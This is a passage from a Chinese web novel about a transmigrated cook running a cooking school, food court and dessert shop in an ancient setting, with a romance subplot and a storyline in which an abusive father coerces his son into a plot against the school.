黎小鱼进去瞧了瞧,发现这铺子有地窖。是用来放酒的,里面温度低,很干燥。黎小鱼对此很满意,天热的时候,白天面包做的多,可以放在地窖里一会。
看完铺子后,黎小鱼就与祁五爷签了契约。祁五爷把铺子的地契给了黎小鱼,“小郎君的厨师学院什么时候开课?”
黎小鱼收好地契,“过两天就会进行招生,半个月后开始上课。招生的时候我会派人来通知五小姐,去学院那边选要学的菜。”
“有劳,郎君辛苦。”
祁五爷送走黎小鱼,又转头看向客来酒楼。
是时候写遗嘱了,在他临走前把家分好,省的后面那四个不孝子在遗嘱上动手脚。
厨师学院放出消息招收第二批学生的时候,也是互市的小吃美食城开业第一天。
里面只摆了一半的摊位,还是比较空旷的。
来这边管理美食城的是小吏赵晓的爹。
赵老以前也当过皂吏,做过领头。后来因为人太过刚正,被排挤走了。
赵老不止一次在家中说,幸好赵晓遇见了黎大人。不然就赵晓那性子,在衙门里也呆不长。
管理美食城的,正好需要这么个刚正不阿,又能与人打交道的。
倒也不需要赵老做什么其他,只要在美食城里出现纠纷的时候,出面解决。要是解决不了,就直接送衙门。
这里是定安侯的地盘,不会为难美食城的人。
前提是美食城这边,真的没错。若是他们这边有错,也不能包庇放过。
不然时间长了,生意就会毁掉。
黎九章就是看中赵老眼里揉不得沙子的性子,才上门请人。
二人谈了许久,这事就定下了。赵老没想到自己五十多岁的人了,还能遇到贵人,让他能有这么一个体面的活干。
赵老去互市的时候,带了家里的侄子还有以前老伙计家的儿子。
就两人,都长的壮实。平时帮人扛货,也赚不到几个钱,不如带去互市那边。
有他们在也能起到些震慑,让一些想闹事的绝了心思。
因为美食城里打扫的人,需要赵老负责招人。他就在当地招了一个。
是互市更夫的老伴,春婶子。
招她是因为赵老与更夫早年间认识,他曾来互市这边查案子。追捕过程中,被贼人伤了。
正好更夫打更发现了他,把他带回家去,简单的处理了伤口。春婶子看出他饿,给他弄了碗面片汤吃。
临走的时候,虽给了银子。但赵老一直没忘,他那晚其实很饿,更夫家给他做的面片汤,掺了不少细面。两口子舍不得吃,全给他吃了。
这次能再来互市,赵老立即就想到了更夫老两口。现在急着用人,也没空去探寻不认识的人品行如何。
这老两口是赵老认识的,为人都好,不是那种偷奸耍滑的。完全符合招人的要求,便先去了更夫家中询问。
得知赵老来意,更夫老两口高兴的不知道如何是好。
更夫因为有打更的活,他不好去,就让老婆子去。
赵老给一天十文钱,春婶子差点以为自己听错了。她洗五件衣服才一文,一天能有二十件能洗就不错了。十文钱一天就收拾收拾屋子,春婶子高兴的要命,连连说一定干好。
上工第一天,春婶子很紧张,怕自己做不好,再丢了这样的好活。
不仅她紧张,摊贩们更紧张,更多的是怕没人买他们的吃食。赚不到钱,都不知道欠官府的那些银子该怎么还。
开业的鞭炮声噼里啪啦的响起,吸引了不少人驻足。
“哟,这开了个什么铺子?怎么这么大?”
“我看着铺子好多天了,好像是卖吃的,不过又不像,食肆也不像这样啊。”
人群中开始议论,寻思等着鞭炮结束,进去瞧瞧看。
赵老站在门口,身后是他带来的两个壮汉,门神一样的守着。
鞭炮结束后,他掀开盖在匾额上的红布。
“诸位,欢迎来我们小吃美食城,品尝各色美味小吃。”
小吃?
围聚的人群有些失落,这东西不是很常见?路边一抓就是一个,不是炊饼就是面条馄饨,早吃腻了。
还开这么大一个铺子,真是有钱烧的慌。
赵老瞧着人群有散开的趋势,立即道:“美食城里有小吃近十种,煎饼果子,葱油饼,灌汤豆腐,烤面筋,拌凉皮,酸辣粉丝,肉夹馍,椒盐排条,各种卤货。”
一溜的菜名报下来,听的人群一脸懵。
这些都是什么东西?没听过啊,能好吃吗?
可不知道为什么,越是没听过没见过,就越想进去看看究竟。
反正看看又不要钱,他们到要瞧瞧,这一溜的菜名,到底是什么玩意。
在好奇心的驱使下,人群开始回拢,朝着美食城内走去。
赵老已经将他能做的都做了,能不能留住客人,就要看摊贩们的手艺了。
李钦在互市有个铺子,专门售卖各种瓷器。他的铺面不小,生意也不错,那些外商特别喜欢他们大瑜的瓷器。
他雇了伙计打理他的铺子,自己每天提个鸟笼子四处溜达。
笼子里装的不是什么名贵的鸟,就两只麻雀。他比较抠搜,舍不得花钱买贵的鸟,麻雀不要钱,一抓就抓到。
养死了也不心疼。
不过这两只他养了两年了,都还活蹦乱跳的。现在养的比以前更精细一些,因为他觉得,要是现在养死了,前面的钱就白花了。
今天他也照常拎着他的两只麻雀在互市溜达,时不时的要和认识的人打个招呼,回个话。
溜达到新建的那条街,李钦继续往里走。
不愧是新街,修的就是好。两边的铺子也都开张,来往的人一点不比老街少。
因为新街更大,铺子种类更多,眼瞧着人快比老街要多了。
正走着,李钦发现一直关着门的几家铺子,竟然开门了。
而且好像是打通成一家,门口有源源不断的人进去。
李钦心中感叹,互市寸土寸金,谁这么有钱竟然能连排买下几间铺子打通?
他拎着鸟笼过去看,跟着人群往里进。
刚到门口,他就闻到了极其好闻的食物香气,有好多不一样的香。
铺子内里空间够大,进去后人群被各个摊位分散开,一点也不拥挤。
李钦闻着味到卖烤面筋和凉皮的摊子前,他看一眼牌子,是他没吃过的东西。
“这烤面筋什么做的?又是怎么卖的?”
卖烤面筋和拌凉皮的叫常元,他从装满料的木桶里,拿出一把浸透了酱料的面筋。
放在定制的烤架上,“面做的,一串两文钱,三串五文钱,客官要不要尝尝?”
李钦闻着香味,吞咽着口水,却不买账,“两文钱我都能买一碗面粉了。怕是能做好多这串了。”
言下之意就是嫌贵。
常元谨记师父教导,遇到这样的客人不能恼怒,要讲理。
“客官,我这烤面筋是要用秘制调料腌制的。那调料用不少香料,就连烤的时候,都要抹油,加上孜然粉。这些可都不便宜。”
说着,常元已经烤了起来。
那香味,一下子就上来了。
李钦咕咚一声,心里被说动,但是又舍不得两文钱。
因此他并不接常元的话,而是眼珠子一转,又看到个奇怪的。于是指着边上大海碗里面白花花的东西,“这又是啥?怎么卖?”
常元道:“凉皮,一碗五文钱,可以拌酸辣味,糖醋味,麻酱味的。”
在李钦问的时候,摊子前也围了人过来。
李钦还想问呢,边上有人高兴道:“糖醋?加糖啊?那你给我来一份。”
说话的人叫于四,最喜欢吃甜的东西。互市里但凡沾点甜的,他都吃过。
这糖醋凉皮,是没吃过的,可不能错过。
常元应了一声,麻溜的挑大盆里切好的凉皮,放到另一个大碗里面,给于四拌。
这种大碗常元一共有三个,不同口味各一个,省去洗碗时间,也不会串味。
糖,醋,加上后,常元问道:“蒜水和辣要不要?”
于四想着多加料不亏,就点头说都要。
调料全部加好,白花花的凉皮被辣椒油染的红彤彤,又被醋裹上一层褐色。常元又挑了一些切碎的面筋放里面,增加口感。快速搅拌入味后,将其倒入另一个小一圈的碗里。
满满一碗,汤汁里飘着红油,闻着还有酸甜味。
于四等不及,提前从筷子桶里面拿了筷子,接过后也懒得找位置,直接就开吃。
挑起凉皮,上面挂着满满酱汁。吸溜一口,酸辣开胃,冰冰凉凉,回味带着甘甜。
老天爷啊,这啥玩意咋这样好吃!
于四只来得及心里感叹,一句话说不出来,一口没吃完下一口就接上,差点噎住。
好不容易吞咽下去,记吃不记打,又开始狂吃不停。
看他那疯狂的吃香,都不用问,肯定好吃的要命。
“我也要一碗,糖醋的。”
“我也是。”
“我要酸辣的。”
“我要芝麻酱。”
“我每个口味要一碗,还要三串烤面筋。”
说这话的是李钦。
他怕自己再不说,就轮不上他了。
等他说完,也有人开始要烤面筋。
于四那边快速干完一碗糖醋凉皮,又要了一碗,也要了三串烤面筋。
常元的媳妇跟了过来,常元拌凉皮的时候,她就帮着翻烤面筋。
常元早就习惯一心二用,师父说他学烤面筋,拌凉皮是附带的。不然洗面筋的面水倒了很可惜,太浪费粮食。
两样一起卖是最好,那么就要他在卖的时候,学会一心两用,两边都顾及着。
三个月里的训练,让常元能很好的应对。更别说现在还有媳妇帮他弄一弄,都不用他一边端碗一边翻面筋。
只要和媳妇说一声就行。
常元忙中有序,心里很感激师父的教导。他的师父把能想到的情况都想了,也都教了他们应对的法子。
这钱花的真的太值,太值。
常元这边人满为患,基本上吃了一次的人,都点了第二次。
其他十四个摊子也差不多,卤味摊子的黄海,戴着布手套抓卤味,那手都快出残影了。
耳边全是,要土豆片,要海带丝,要豆皮,要肉片……
豆制品卖的挺多,因为之前没有过这些,大家好奇就买了吃。吃完发现味道特别好,又要多买。
不过黄海豆制品卖的挺贵的,他来之前孙山石找过他,说可以卤豆制品卖。
现做的豆制品,除了豆腐,其他的夏天用冰存着能放三天。春秋的时候辞州天气也不热,常温也能放三天。要是用盐水泡,可以放五天。
冬天放的时间更长,全冻起来了,放一个冬天都没问题,就是影响口感。
递铺每天都会去互市送东西,一天半的功夫就能到互市,孙山石也是因运送方便才敢去找黄海。
黄海之前在学院啥都拿去卤一遍,孙山石他们做的豆制品自然也没放过。
那味道是真的不错,特别入味。
就是递铺费用比较贵,他要的量加起来十斤,一趟送来要五十文呢。
比买的豆制品都贵。
所以只好提高售卖的价格,黄海还以为会没多少人买,结果他完全想错了。
互市除了本地土著,基本上都是有钱人。
做生意的,哪有真穷的?买不起金银,还能买不起点吃的?
开摊子一个上午,十斤的豆制品一售而空。
下午好多被介绍过来买的,都没买到。
黄海自己也急,豆制品卖的就比牛肉低,是他摊子上最挣钱的。卖没了他比谁都急。
傍晚太阳还没完全落下,美食城所有摊子的食材已经卖光了,他们是按着卖到晚上的量准备的。没想到压根不够卖,而人还在涌来。
赵老看着越来越多的人,赶紧带人关铺子。
“诸位客官,美食城的东西全部卖完了,实在不好意思,诸位明天上午开业时再来。”
人群有不少哀怨声,有说怎么不准备多一点的,有说谁家铺子这个点关门,还有怪好友通知晚了的。
李钦在美食城里吃完三碗凉皮,三串烤面筋后,就逼着自己出来。
他知道,要是继续待下去,就会花更多的钱。
人是出来了,可他的心还落在美食城里。
也不知道葱油饼啥味,就在烤面筋后面,可香了。
还有人吃那啥煎饼,包一堆东西,到手特别大一个比小臂都粗。一口咬下去还能听到脆脆的声音,越想越觉得好吃。
还有那卤味,好像卤了之前没见过的吃食,而且那味道太香太霸道。拿着卤味油纸包的人路过,空气里都有一阵卤香。
李钦终于坐不住,鸟笼也不拎了,影响他发挥,都不好两只手都抓吃的。
谁知道他到美食城的时候,看见的就是紧闭的木门。
李钦气的跺脚,出鬼了,他想花钱竟然还不让他花!
此时美食城的后院,所有人都瘫坐在地上,彼此对视一眼,眼中却全是笑意。
赚钱了!而且,赚疯了!
那铜钱都能堆成小山,放铜钱的箱子差点不够放。
春婶子也累的不行,坐凳子上直捶腰。
人实在是太多了,越到后面人越多,春婶子后面都挤不进去收拾桌子上的碗筷。
赵老也没想到人会这么多,现在看来,只有一人打扫收拾肯定不够,起码要再招三个来才可以。
“春婶子,这边还缺人,你有能介绍来的吗?要踏实肯干,不偷奸耍滑,手脚干净的。”
春婶子眼睛一亮,“我闺女和邻居成不?”
赵老道:“只要人品行符合要求,就可以。”
他不怕沾亲带故,这时候沾亲带故反而好一些。至少彼此了解,做什么事都会考虑到家里人。就怕招了不值得信任的人,最后让美食城出差错。
春婶子连忙点头保证,“肯定符合的,我闺女不用说,从小就老实本分。我那邻居,也是能吃苦,从不耍滑头,不贪小便宜的。”
赵老点头,“走,我跟你去看看。成的话,明天就得来。”
“好好好,我这就去找人。”
春婶子带着赵老回去物色新员工,黄海也跑去递铺拿孙山石寄过来的豆制品。
小吃美食城的生意,一天比一天好。
后面更是外商都听着消息过来,结果一吃就出不去了。
酒楼饭馆的生意因此有些受损,不过问题不大。毕竟谈事的不可能去小吃摊。
最多是叫人从那边买些爱吃的,送到酒楼饭馆里来。
美食城走上了正轨,厨师学院招生也进入尾声。
江渚松的人送了互市美食城的消息,他看完后冷笑一声。
这伯侄两人可真能折腾啊。
一个不知道什么时候搭上了定安侯,把那些摊贩弄去互市,他想插手都没办法。
一个靠着不知道哪里来的那么多菜谱,教了一堆又一堆的人。
照这样下去,那黎九章迟早会把美食城做出花来,说不准就是功绩一件。
别的不说,就说黎小鱼的铺子,小小铺子就带起了一门营生。
削竹签看着没什么,可那些没见识的老百姓就吃这些小恩小惠。
斩草还是要除根才行,这事的根源,在那厨师学院上。
第60章 第 60 章
金河村, 周三赖家。
“爹,我不去,我不想去。”
周多跪在地上, 哭的嗓子都哑了, 希望他爹能让他在家里待着。
“我保证, 以后每天我就吃一个窝头, 多一口都不吃, 活我全干,求求爹不要让我去。”
周三赖光着脏兮兮的脚, 脚后跟踩在凳子上, 一脸不耐烦的撇嘴,“你说不去就不去?贵人银子都给了, 你今天要是不去, 老子现在就打死你。”
反正他儿子多, 家里五个,外头还有三个, 死一个对他来说完全没什么。
倒是搁家里养着才不行, 加上四个闺女, 那么多张嘴等着吃饭,他哪供养的起。
周多瑟缩了一下,浑身上下泛着细密的疼。
他爹打人都是下死手,他身上上次被打的伤, 到现在还没好。
可他去也是死,那贵人是要他的命害人啊。
“他爹, 老七也是你的儿子, 你就留他一命吧?贵人给的银子,咱还回去成不?”
鲁翠花瘸着腿出来小声的劝着。
周三赖一巴掌拍在鲁翠花的头上, 打的鲁翠花脑袋嗡嗡的,耳朵也疼的要命,她捂着半边脸惊慌的坐地上压抑着声音抽气。
她不敢发出更大的声音,怕再被打。之前劝说的那句话,早已耗费了她所有的力气。
这是她能为十月怀胎,好不容易生下的孩子,唯一能做的事情。
周多不敢去查看他娘的伤势,如果在他爹面前这样做的话,他娘会被打的更狠,他也会被打。
周三赖甩一下打麻了的手,没看鲁翠花,扭头一口浓痰吐周多身上,“我告诉你老七,你要是泄露了半点贵人的秘密,你等着给你娘和九丫头收尸吧。还有,你要是不去,我就当着你面,先弄死她们,再弄死你。”
一旁的鲁翠花听着,打了个哆嗦,低着头不吭声。
周多闻着臭气,看着被打瞎了一只眼的娘,还有出生后一直是他带着的九妹,痛苦的闭上眼睛。
最后,周多还是走了。
他说不清楚到底是为了娘和妹妹,还是他自己也不想活了,早点死也好。
厨师学院第二批招生结束,周多卡着时间,是新入学的最后一名学生。
他的出现,引起了黎小鱼的注意。
畏缩,胆怯,露出的皮肤能够看到伤痕淤青,衣服很破,人也脏兮兮的。
这次报名的学生,有不少是有基本功的。
都是各个酒楼饭馆的厨子手底下带的学徒,得了师父的允许,跑来学的。
不仅他们来了,还有几个正儿八经的厨子,也写了信得了他们师父的应允,过来拜师学新厨艺。
一人不可拜二师,不过先头那个师父同意,后面那个师父也不介意的话,那就能拜两个。要想再拜,就需要三个都同意。
黎小鱼收钱办事,没有不同意的。
就是好几个彪形大汉,齐声喊他师父的时候,耳膜震的疼。
新学生的一些信息,黎九章也都整理好叫人给黎小鱼送来。
他最先看的,是周多的信息。
不知道怎么回事,他的直觉告诉他,周多不对劲。这种不对劲,他很熟悉。
是想寻死,不想活了。
黎九章查的比较详细,写的自然也详细。这些信息,有的是询问了邻里,有的是在周多签先学后交钱的契约时,他自己说的。
资料显示,周多的爹周三赖,从小到大都是个混不吝。
前头有个媳妇,被打死了。留下的女儿嫁了人后,再也没回来过。大儿子和他一个样子,整天游手好闲,一个不顺心就逮着人打。
人又没打死,是不能报官的。
不然按着江大人定的规矩,报官后先打板子,没被周家大儿子打死搞不好要被官府板子打死。
别说是邻里,金河村的村民没人待见他们家的。
而周三赖后头的儿子也跟着他爹和他们大哥,有样学样,一家子地痞无赖,闺女养养直接卖了换钱。
全家只有老七是个儿子,但没学那些坏样。
也因为这个,在家里天天被打,被欺负。指不定哪天就能被打死,要么就是被卖了换钱。
这些是黎九章从邻里问来的,周多告诉官府的信息是,他知道学院招人,可以先学后给钱,就拼命逃出家,想给自己争一条活路。
黎小鱼看完之后,转头看向外面。
天气晴朗,池塘边柳树低垂,有学生在那喂鱼,还有学生撑着小船,在里面弄荷花叶子。
他盖上周多的资料,长舒一口气。
周多选的是做酱,黎小鱼把那些需要超过三个月才能做成的酱排除在外,但耗时依旧不短,因此前面没有人选这个。
这一批里面,也只有周多一个人选这个。
黎小鱼亲自带他,一对一。
周多很听话,听话的有些过分。黎小鱼说什么就做什么,一点也不会反驳。
如果突然有大一点的声音,周多还会被吓的抱头蹲下发抖。
黎小鱼看着周多这副模样,心里很不舒服。他有些不知道要怎么和周多相处,甚至每次来给周多上课,都有些躲避的心态。
不是不喜欢周多,而是他感觉面对周多,像是在照一面镜子。
尘封的记忆,会因为周多下意识的畏惧瑟缩,颤抖害怕而被再次回忆。
黎小鱼只能一遍又一遍的告诉自己,这里不是现代,是重生后的古代。
……
丁仁手底下学生不算少,有十五个,全都是冲着豆制品能学的多来的。
这些学生见到丁仁老实的喊师父,看到黎小鱼恭敬的喊师祖。
给黎小鱼喊得一下子老了不少岁。
他也没再多费唇舌让他们不要喊,反正他们也不听。
趁着甜品铺子在装修,黎小鱼把他的课都排的满满的。
想着后面学生上手之后,能够多些时间去烤面包。
而且忙碌一些也好,让他没有空去想起那些乱七八糟的记忆。
这次学生有不少都有基本功,他们学的都不是二两银子的档位,都在此之上。
那几个厨子,学的更贵。都是五两往上,菜肴本身的食材就不便宜。
他们因为有自己的活要干,每天只能学两个时辰。
黎小鱼没有强行要求他们在这里待全天,反正三个月为期,能不能出师,看的还是他们自己。
祁雾选了个佛跳墙,她觉得名字有意思。十两银子一道菜,食材还不包括在内,要祁雾自己去找。
有的食材黎小鱼弄不来,他没那么大的面。除了这道菜,还有一些要新鲜的海鲜,或是山珍来做菜的,黎小鱼都标注了,食材自备。
学生了解情况要是还想学,那他就收银子教人。
祁雾的佛跳墙,也是只有她一个人学。有的食材难弄,目前学院里只有祁雾能搞来。
佛跳墙食材多,蒸煮耗费时间。不过做成之后,鲜香浓郁。各种食材,口感不同,层次不同。食材和鲜美被完全的激发,毫无腥气,只有余鲜。
祁雾很有天分,她跟着黎小鱼做了两次后,就能自己试着去做。
味道上还差些,不过只要多练练就可以。
做好的佛跳墙祁雾都是先给黎小鱼吃,黎小鱼不要她才会带回去给她爹吃。
二人于做菜一道上,都很有见解,因此很有话讲。
一开始的时候因不熟悉,还有不少的陌生感,话都不多说一句。
后来慢慢的,祁雾会请教黎小鱼,看她给客来酒楼改的菜谱如何,一来二去熟悉起来了。
黎小鱼觉得祁雾用料很大胆,看着南辕北辙,但真做出来味道相辅相成,有别样的口感。
而祁雾则是觉得目前为止,只有黎小鱼能懂她做的菜。她除了学习佛跳墙,其他时间都钻研菜谱,学院的环境也能让她感觉到很放松,更专注。
每天只要黎小鱼空下来,祁雾就拿着她钻研的菜谱去找人,
贺辞不管什么时候来,总能看见两人。
不是站一起做菜,就是谈论窍门,说一些他根本就插不上话的食谱菜色,看着就生气。
“黎小鱼,我饿了。”
贺辞语气有些不好,话是对黎小鱼说,眼睛看的是一身男装,长相英俊的祁雾。
旁人或许一眼无法辨认出祁雾是男是女,但他见祁雾第一眼,就知道这人是女子。
而黎小鱼不排斥祁雾,甚至因为祁雾是女子的身份,对她多有关照。
不管做什么,都会将祁雾单独拎出来考虑。
这样一来,黎小鱼每天想着祁雾的次数就会变多起来。
关心多了,想的次数多了,就会上心。他就是这样慢慢对黎小鱼上心,等反应过来的时候,一切都晚了。
贺辞因此很忌惮祁雾的存在。
对着祁雾的时候,或者说不管对着谁,贺辞都没有掩饰自己对黎小鱼的在意。
祁雾早就看出来,这位小侯爷对她有敌意。而这敌意的来源,她一开始没敢猜,后面小侯爷总是会当着她的面,拉走她师父,还不忘回头对她挑衅的笑。
她再迟钝也能看出来,小侯爷喜欢她师父。
而她师父……
祁雾看不出来黎小鱼的感情。
说不喜欢吧,小侯爷说什么师父都会记在心里。做什么,师父都不会生他气。对小侯爷的包容程度,比对所有人都高。
因为别人不会动不动就气师父,但小侯爷总会逗她师父,把人招惹急了。就这样,她师父也只是瞪人,最多就是转头不理人直接离开。
连骂都舍不得骂一句。
更重要的是,她发现,她师父在小侯爷面前,会展露出自己的小脾气。不会像戴着一张温和的面具,嘴角带着的笑,都是一样的弧度。
但要说喜欢吧,似乎也不是。
喜欢一个人,是控制不住的,身体动作,眼神流露,都能看出来。
如果她师父真的喜欢小侯爷,还能做到如此正常的样子,只能说她师父有极强的克制力。
这是祁雾不知多少次,看着小侯爷把她师父从她身边拉走。
还不忘趁着他师父不注意,回头瞪她。
看着二人的背影,祁雾有些担心。
小侯爷身份尊贵,贺家……真的能允许师父的存在吗?
黎小鱼被贺辞一路拽到池塘亭子里,他把人拉到位子上坐着,自顾自的打开食盒,先把黎小鱼的那份端出来,放在他面前。
黎小鱼手里被贺辞塞了筷子,他捏着筷子道:“我不是说你自己先吃,我待会就来吗?”
“你每次和她说起话都没完没了的。我不想等,我饿了,就要现在吃。”
贺辞把自己那碗米饭端出来,气的菜也不吃,光吃饭,噎的他难受。
“祁雾是我学生,我们就是讨论食谱,你好好的又发什么邪火。”
黎小鱼说着,伸手替贺辞把他的菜端出来,“别光吃米饭。”
贺辞嘴角一动,啧,他还是关心我的嘛。
“看在你给我端菜的份上,我就饶过你这次,下不为例。”
黎小鱼可不敢应他这话,“小侯爷,你讲点道理好吗?都说了祁雾是我学生,我怎么可能不和她接触?”
贺辞放下筷子,他吃不下去,气饱了。
“你这人就不能说点好听的让我高兴一下?”
黎小鱼道:“我说了你就会当真。”
到时候怕是更气。
贺辞盯着黎小鱼看,气的牙痒,也拿他一点办法都没有。
憋了一会气,贺辞自己消化了大半,这才开口说:“她是女子,男女授受不亲。师徒也不能这样亲密,你这样对她好,在意她,是要娶她吗?”
说到最后一句,贺辞觉得心里闷的很,忍不住的烦躁。
“我没想过。”黎小鱼没有犹豫道。
他的毫不犹豫,让贺辞回了理智,心里又高兴上了,“那你不要娶她,就不能和她走太近。要是传出去,对你们的名声不好。”
黎小鱼想了一下,觉得有道理。这里毕竟不是现代,什么舌根都能嚼出来。
“是我考虑不周,多谢小侯爷提醒。”
贺辞目的达成,脸上又多了笑容,捧着碗吃嘛嘛香。
黎小鱼后面确实和祁雾相处的时间短了,倒不是刻意疏离,而是甜品铺子装修好要开业了。
他空闲时间要去烤面包,长时间不做有些手生,需要练习练习,因此忙的脚不沾地。
贺辞每天都来给他打下手,做免费劳动力,这样能和黎小鱼在一起待的时间更长点。
他别的不行,一身牛劲,是个揉面团的好手。对此贺辞也有些沾沾自喜,不会做菜,不了解食谱又怎样?
他能给黎小鱼搓面团!而且还揉的特别好!
黎小鱼看着贺辞脸上沾着面粉不自知,还在认认真真按着他说的步骤揉面团,不自觉的笑了一声。
甜品铺子里要卖的甜品,暂时定了黄油吐司,乳酪芝士小面包,还有奶油蛋糕,以及酸奶。
这些正好能将方青海他们三个人做的奶制品都能用上,而且做起来也不费劲。
奶油蛋糕他也不想做什么花样,最多弄点花边,画朵立体花就成了。
主要是没空做的太精细,太费时间了。
做甜品的这几天,贺辞算是饱了口福。
糕点他吃过不少,不过奶油没吃过。这玩意吃着甜甜软软,又白花花的,像是吃云一样。
黎小鱼见贺辞爱吃,每天都会额外的给他装一份小蛋糕,让他带回去吃。
贺辞捧着黎小鱼专门给他做的小蛋糕,心里那叫一个高兴满足。
满脑子都是:小鱼对我真好,我好喜欢他。
黎小鱼不知道贺辞脑袋里面跑弹幕,就想着有贺辞在挺好,不仅他能省力气揉面团,每天的边角料都能用完不浪费。
甜品铺子开业前一天,黎小鱼要做的量比较多。忙的有些晚,贺辞也一直陪着。
结束的时候,他照例接过黎小鱼给他额外做的小蛋糕,先送黎小鱼回家后,才回侯府。
刚进府,就被管家叫去,“侯爷要见小侯爷。”
贺辞只好拎着装蛋糕的小食盒,跟着管家去了书房。
“爹,你找我?”
定安侯在书房欣赏他新得的剑,贺辞来后,他把剑小心的放在剑匣里。
啪的一声盖上剑匣,看到贺辞手里的东西。
“手里拎的什么?知道你爹晚上没吃饭,带了吃食来孝敬?”
贺辞把小食盒往身后藏,“这是人家专门给我做的,是我爱吃的东西,不能给爹。”
定安侯会错意,老脸一红,“谁稀罕啊,那么小一点都不够老子塞牙缝的。”
贺辞怕他爹恼羞成怒再揍他,连忙问道:“爹找我到底是为了什么事?”
定安侯这才消了些火气,打量了贺辞一眼。昏暗的烛光下,贺辞总觉得自己在被猛兽盯着,有些不太自在,想要反扑。
在贺辞彻底受不了,那道带着些攻击性的打量目光时,终于听到他爹问道:“听说你最近经常不在书院,总往后面的厨师学院跑?你和那黎小鱼,感情不错?”
贺辞神色有一瞬的不自然,“嗯,爹听谁说的?”
“这你别管。”定安侯没再看贺辞,而是轻轻的敲击着桌面,他此时心里也有些焦灼。
“你能有个愿意相处的朋友,爹替你高兴。不过有些时候,需要懂得适可而止,不要伤人伤己。”
贺辞听出了他爹的警告。
“爹,你从来不过问我的事情。怎么这次这么在意,是不是有人在你面前说了什么?”
贺辞一直没有正面的答应,这让定安侯心里的焦躁更甚,他一拍桌子,桌面上摆放的物件都跟着一起震动。
“你这样打探是准备杀人灭口?我就告诉你,是你娘说要我盯着你,让你别再和小时候一样总是闯祸。现在你知道了,要去找你娘的麻烦吗?”
贺辞低头,“儿子不敢。”
定安侯冷笑了一声,像是听了个大笑话。
“你不敢,老子看你敢的很。你要是真的想尝尝男人什么滋味,那清风楼开着,也没人拴着你不让你进去。可你要搞黎小鱼,那老子就打断你的腿。”
对于贺辞想睡女人还是睡男人,定安侯并不在意。睡睡而已,算什么事?
可就算是睡睡,玩弄,那也不能是黎小鱼。
真要是动了黎小鱼,黎九章能拼命。好不容易能有个入眼的文官,他们之前合作的也很愉快,要是因此生了嫌隙,实在是不值当。
贺辞拎着小食盒的手攥紧,“爹,我不是……”
“刺刺回来了?快来,娘给你留了你爱吃的麻辣兔肉。”
林晚秋适时的推开门,打断了贺辞后面的话。
母子两对视一眼,贺辞见他娘朝他抬头,示意他不要再说。
定安侯在书桌后面不满道:“他手里有吃的,你还给他吃啥?端来我吃,我都饿坏了。”
林晚秋见贺辞不会再说,便笑着对定安侯道:“你吃不了那么辣的,给你备了粥和烤兔腿,现在要吃吗?”
“吃吃吃,快端来。”
定安侯的心思全在吃上,也懒得再搭理贺辞,“快拎着你那小破食盒走。”
贺辞弯腰告退,走在鹅卵石铺的小道上,仰头看着天上的月牙,有些烦躁不安。
翌日,甜品铺子开业了。
方青海三人也在。
这铺子卖的,都是他们做的乳制品为原料做出来的,都想来看看卖的情况如何。
客来酒楼的食客很多,东集的人更是不少。
因为靠着客来酒楼,甜品铺子的鞭炮都还没放呢,就已经围不少的人。
之前装修的时候就有不少人好奇,客来酒楼怎么好好的卖了铺面,也不知道是卖给谁的,都猜测背后之人一定很有势力。
眼馋客来酒楼铺面的人可不少,彼此都互相制衡着,都抱着他们得不到,别人也别想得到的心思。
现在竟然有人能成功拿下的,身份肯定不简单。
看着牌匾,写着甜品铺子,估摸着就是和那些糕点铺子一样。
只要是糕点,加了糖的就没有难吃的。
门口围着的人,就等着鞭炮放完,进去瞧瞧。
黎小鱼觉得铺子生意好不好,除了卖的吃食本身要味道好,位置也是关键。酒香不怕巷子深,那是因为老酒才香。
都是老酒了,时间那么长,定然已是口口相传,才让大家慕名而去,即便是难找的深巷也愿意去找。
黎小鱼没有那么多时间慢慢等着人来发现,然后再口口相传,打出名气。
他找的铺面,都是在人流多的地方。
人多,就会有人好奇,好奇就会进去。
只要进铺子,后面就一切好说。
铺子的面积不小,黎小鱼放了几张桌椅,每张桌椅用屏风稍微隔开,做一个私密一些的空间。
专门定制的长柜,里面摆放着满满当当的甜品。
种类虽然不多,但胜在量多。
铺子的伙计,是夏安找的。不过都提前进行了培训,吃住都在厨师学院里面。
至少服务上,不会出现差错。
因为黎小鱼设置了奖惩制度,四名伙计干的都很卖力。
甜品铺子的掌柜黎小鱼有意让方青海担任,他之前在军营手底下也带着人,有管理经验。另外两人都很服他,为人也踏实稳重。
不过暂时黎小鱼还没和方青海说。
他因为双手没了,多少有些自卑。现在说,大概率会拒绝,还是等后面找个合适的机会再说。
目前甜品铺子,黎小鱼让他爹暂代掌柜,他娘也过来这边帮忙。
小饭馆那边方石头已经能做的很好,他虽然不爱说话,闷闷的,但他人挺聪明。
还去学了几个字,简单的记名和算数都是可以的。
小饭馆暂时是方石头管理着,前面已经试了一段时间,还挺有模有样的。
孙草因为方石头的原因,也有了危机感。
听他爹说,这小子现在都很少不停的问问题,而是也想着办法识字。就算做的不如方石头好,也不能落的太远。
加上小饭馆年后的时候也招了三个新人,人手完全够的。
黎九州和周珍娘平时在那边,也没什么可忙的,伙计都不让他们动手。
现在来甜品铺子这,两口子也高兴。
终于能干活了,不然这浑身都刺挠难受。
70-80
第71章 第 71 章
秦嬷嬷扶着林晚秋回到房间休息, 吹灭蜡烛之后,悄声的走开。
夜深人静,林晚秋睁着眼睛难以入眠。
有些事情不能深入的去想, 想了就会发现事实无法接受。
她似乎有些明白, 为何这些年每次提到贺州, 贺辞都会毫不在意的模样。
大家都只当他是没心没肺的, 甚至会逼迫他去关心贺州。
林晚秋想起贺州刚去京城的第二年, 贺州信里说想喝她和贺辞一起酿的酒。
那是贺州第一次说想要一样东西,林晚秋高兴的要命, 满脑子都想着给贺州最好的。
她等不及的拉着贺辞, 要他一起帮忙,因为贺州说了要和哥哥一起酿的。
林晚秋还记得, 那时候贺辞很抗拒, 并不想酿酒, 一直躲开。
这孩子从小就皮不听话,林晚秋都能忍。但是那次她没忍住, 第一次动手打了贺辞一巴掌。
因为气头上, 力道没控制住。打完之后, 掌心都在一阵阵的发麻。
看着孩子脸上浮现出的掌印,她心里也疼的很,不由的在想,要是刺刺能有州州一半的听话懂事就好了。
这样, 她也不会动手打人。
后来,贺辞按着林晚秋说的, 从头到尾一直帮着酿酒, 再也没有躲过。
林晚秋遍体生寒,如果那个时候, 贺州就已经给贺辞写诅咒信,导致贺辞不愿意给贺州酿酒。
那她的那一巴掌……
她及时制止了自己再深想下去,秦嬷嬷说的对,州州五岁就离开了他们的身边,独自一人在豺狼环绕的京城,小心翼翼的过活。
他没有人教导,没有父母陪伴爱护,会做错事情情有可原。
